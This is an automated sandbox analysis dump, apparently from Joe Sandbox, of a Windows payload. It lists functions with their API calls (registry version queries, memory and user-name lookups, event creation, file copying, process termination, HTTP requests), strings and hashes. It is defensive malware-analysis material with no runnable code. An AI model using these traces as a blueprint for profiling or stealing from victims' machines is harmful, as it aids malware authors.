Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR
API String ID: 3240024479-2861137601
Opcode ID: 22e739efdff49f2b726befa8b65d73f9cb901dac1158f07b8f237c6a96b52afa
Instruction ID: 45e718951e9bb4ed262575e191d6bd4e21543c72098e0578dbd5de3b6eb7328f
Opcode Fuzzy Hash: 22e739efdff49f2b726befa8b65d73f9cb901dac1158f07b8f237c6a96b52afa
Instruction Fuzzy Hash: 633132779505546FCB16FB70EC969FE3768AE10300F448226F9076B392DF306F048A91

Function 003E05A0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003E05B5
HeapAlloc.KERNEL32(00000000), ref: 003E05BC

Part of subcall function 003DFA60: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 003DFA75
Part of subcall function 003DFA60: HeapAlloc.KERNEL32(00000000), ref: 003DFA7C
Part of subcall function 003DFA60: RegOpenKeyExA.KERNEL32(80000002,031C9DE0,00000000,00020119,?), ref: 003DFA9B
Part of subcall function 003DFA60: RegQueryValueExA.KERNEL32(?,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 003DFAB5
Part of subcall function 003DFA60: RegCloseKey.ADVAPI32(?), ref: 003DFABF

RegOpenKeyExA.KERNEL32(80000002,031C9DE0,00000000,00020119,00000000), ref: 003E05F1
RegQueryValueExA.KERNEL32(00000000,031D5458,00000000,00000000,00000000,000000FF), ref: 003E060C
RegCloseKey.ADVAPI32(00000000), ref: 003E0616

Strings

Windows 11, xrefs: 003E05D0

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 6a559e278f1140201173cffd4762529e276b9ea90019ab17b6ab34306a7942fa
Instruction ID: 715fd2d54a92a764b7707a2cbf537af43863d6107557e25ebc1a526b5eed8243
Opcode Fuzzy Hash: 6a559e278f1140201173cffd4762529e276b9ea90019ab17b6ab34306a7942fa
Instruction Fuzzy Hash: 9E0121B168021CBBDB00EBA0EC49FBB777DEB44701F009169FA09D3290D6B099408BA1

Function 003DFA60 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 003DFA75
HeapAlloc.KERNEL32(00000000), ref: 003DFA7C
RegOpenKeyExA.KERNEL32(80000002,031C9DE0,00000000,00020119,?), ref: 003DFA9B
RegQueryValueExA.KERNEL32(?,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 003DFAB5
RegCloseKey.ADVAPI32(?), ref: 003DFABF

Strings

CurrentBuildNumber, xrefs: 003DFAAF

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 8b82f965d8b6f512af2443a58e2c1f49c98669356c7fb22f3c687c6ea411c01e
Instruction ID: 9e22ab3d28f8aea8f1e7d86fc21f15cd15c56b6440db134439530974a4a45767
Opcode Fuzzy Hash: 8b82f965d8b6f512af2443a58e2c1f49c98669356c7fb22f3c687c6ea411c01e
Instruction Fuzzy Hash: 1FF0C2B6580308BBD700ABE0EC4EFBB7B7CEB44711F00A164FA0592180D7B05A0087A1

Function 003DFED0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,TimeZone: ,00000000,?,003F3408,00000000,?,00000000,00000000,?,Local Time: ,00000000,?,003F3408), ref: 003DFEDE
HeapAlloc.KERNEL32(00000000,?,TimeZone: ,00000000,?,003F3408,00000000,?,00000000,00000000,?,Local Time: ,00000000,?,003F3408,00000000), ref: 003DFEE5
GlobalMemoryStatusEx.KERNEL32(?,?,00000000,00000040), ref: 003DFF05
wsprintfA.USER32 ref: 003DFF2B

Strings

@, xrefs: 003DFEFE
%d MB, xrefs: 003DFF25

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 3644086013-3474575989
Opcode ID: 5a45ae331189f79e9da845af866b2bedc2400a1faca74a7d2fdccbc94531ad25
Instruction ID: 2abae1e27b739e072e7d222abb44d0bf224312528b1a27ca648da9d544ad8f12
Opcode Fuzzy Hash: 5a45ae331189f79e9da845af866b2bedc2400a1faca74a7d2fdccbc94531ad25
Instruction Fuzzy Hash: 7CF062B1A9021CABE704ABA4EC4AFBE77ADEB01344F405529F606E62D0D7B59C0187A5

Function 003E58B0 Relevance: 9.1, APIs: 6, Instructions: 130registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003E58D5
RegOpenKeyExA.ADVAPI32(80000001,031D5DB0,00000000,00020119,?), ref: 003E58F4
RegQueryValueExA.ADVAPI32(?,031D5FA0,00000000,00000000,00000000,000000FF), ref: 003E5918
RegCloseKey.ADVAPI32(?), ref: 003E5922
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 003E5947
lstrcatA.KERNEL32(?,031D5FB8), ref: 003E595B

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: c6eae343d98cb36d4cd4195903792ccb984e8175dd6ab9cf77ee4b8ee33e589b
Instruction ID: 661e4de1208b6d75c26e8dcf31186de37db00bfc509298af6a67d38d9570fb80
Opcode Fuzzy Hash: c6eae343d98cb36d4cd4195903792ccb984e8175dd6ab9cf77ee4b8ee33e589b
Instruction Fuzzy Hash: C841A2B5500208ABCF15FFA0DC46EEE373DAF44300F508659F5195A291EA706A88CFA2

Function 003D6C20 Relevance: 9.1, APIs: 6, Instructions: 71filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,003DBA32,?,00000000,?,00000000,00000000), ref: 003D6C3F
GetFileSizeEx.KERNEL32(00000000,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C55
LocalAlloc.KERNEL32(00000040,?,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C70
ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C89
LocalFree.KERNEL32(?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6CA9
CloseHandle.KERNEL32(00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6CB1

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: eed80c985f115847c0d7621388e6bc792ddc37e4fd0971837c8c97c29a016d4e
Instruction ID: fb658b278e1f15097978d48d6726e7bceb767e9a6a6179fc1e43feb3c95954ea
Opcode Fuzzy Hash: eed80c985f115847c0d7621388e6bc792ddc37e4fd0971837c8c97c29a016d4e
Instruction Fuzzy Hash: 3611AFB2250209AFDB12DF64ECC5EBB77BEEB80340F10912EF95197290DB309D418B61

Function 003E75F0 Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031D1BD8), ref: 003E7748
Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031D1D10), ref: 003E7761
Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031D1D28), ref: 003E7779
Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031D1C08), ref: 003E7791
Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031C6710), ref: 003E77AA
Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031C75A0), ref: 003E77C2
Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031C7400), ref: 003E77DA
Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031D1A88), ref: 003E77F3
Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031D1CB0), ref: 003E780B
Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031D1CC8), ref: 003E7823
Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031D1AD0), ref: 003E783C
Part of subcall function 003E76E0: GetProcAddress.KERNEL32(74DD0000,031C75C0), ref: 003E7854

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DFAE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003E7612,003F01E9), ref: 003DFAEC
Part of subcall function 003DFAE0: HeapAlloc.KERNEL32(00000000,?,?,?,003E7612,003F01E9), ref: 003DFAF3
Part of subcall function 003DFAE0: GetUserNameA.ADVAPI32(00000000,003F01E9), ref: 003DFB07

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003E7672
CloseHandle.KERNEL32(00000000), ref: 003E7681
OpenEventA.KERNEL32(001F0003,00000000,00000000), ref: 003E7697
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 003E76B1
CloseHandle.KERNEL32(00000000), ref: 003E76BF
ExitProcess.KERNEL32 ref: 003E76C7

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: AddressProc$Eventlstrcpy$CloseHandleHeapOpenProcess$AllocCreateExitNameUserlstrcatlstrlen
String ID:
API String ID: 1749527509-0
Opcode ID: f53c696df1c7c4f9aafe5fa119e30ea3615cc89ba129a0016c7a9a1fd460263d
Instruction ID: 0728dd5b2b90999101f831d7a22495cde93488594b01d466f76f2be112651534
Opcode Fuzzy Hash: f53c696df1c7c4f9aafe5fa119e30ea3615cc89ba129a0016c7a9a1fd460263d
Instruction Fuzzy Hash: 29211F729501197EDB06FBB0EC96FFE7378AF10700F149625F607AA291DF606A048A65

Function 003D9690 Relevance: 7.8, APIs: 5, Instructions: 264fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003E0B80: GetSystemTime.KERNEL32(003F01E9,031D69A0,003F01E9,?,00000030,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003E0BA9

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003D976A
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003D9734

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003E10F0: memset.MSVCRT ref: 003E110A
Part of subcall function 003E10F0: GetProcessHeap.KERNEL32(00000000,000000FA,00000000,00000000,?,003D9753,003D9C77), ref: 003E113D
Part of subcall function 003E10F0: HeapAlloc.KERNEL32(00000000,?,003D9753,003D9C77), ref: 003E1144
Part of subcall function 003E10F0: wsprintfW.USER32 ref: 003E1153
Part of subcall function 003E10F0: OpenProcess.KERNEL32(00001001,00000000,?,?), ref: 003E11BB
Part of subcall function 003E10F0: TerminateProcess.KERNEL32(00000000,00000000,?,?), ref: 003E11CA
Part of subcall function 003E10F0: CloseHandle.KERNEL32(00000000,?,?), ref: 003E11D1

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process$CopyFileHeaplstrcat$AllocCloseHandleOpenSystemTerminateTimelstrlenmemsetwsprintf
String ID:
API String ID: 3536976966-0
Opcode ID: f009b4dd5a8f561d836df2ed423f9fd5f9a5cab01801a34163f0f9fff5022752
Instruction ID: 7425e6f5abe8c8d8425015c3e9b5d9bbb9174567d11442b4ae5735277786d4b5
Opcode Fuzzy Hash: f009b4dd5a8f561d836df2ed423f9fd5f9a5cab01801a34163f0f9fff5022752
Instruction Fuzzy Hash: 6091D2779101489FDB06FBB0EC969EE7378AE54300F54453AF507BA291EF346A08DB62

Function 003E9FE0 Relevance: 7.6, APIs: 5, Instructions: 134fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000000,00000030,?,003EB1A9,?,?,?,00000000), ref: 003EA035
CreateFileA.KERNEL32(?,40000000,00000000,00000000,003EB1A9,00000080,00000000,00000000,00000030,?,003EB1A9,?,?,?,00000000), ref: 003EA06F

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: 22b7f929b3bec19438873f49d91acbbcdf5acba622e1c9292a8bc996afb413b3
Instruction ID: 432460858cefb81d7bd70139fda72d6b25b3d74db0f7694976d803a2bc98b4a2
Opcode Fuzzy Hash: 22b7f929b3bec19438873f49d91acbbcdf5acba622e1c9292a8bc996afb413b3
Instruction Fuzzy Hash: CD4161B2504B559FE7319F29A8C0B67B7ECE764324F108B2FF19AC6580D271EC849B61

Function 6C2AC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C2AC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C2AC969
GetSystemInfo.KERNEL32(?), ref: 6C2AC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C2AC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C2AC9E2

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
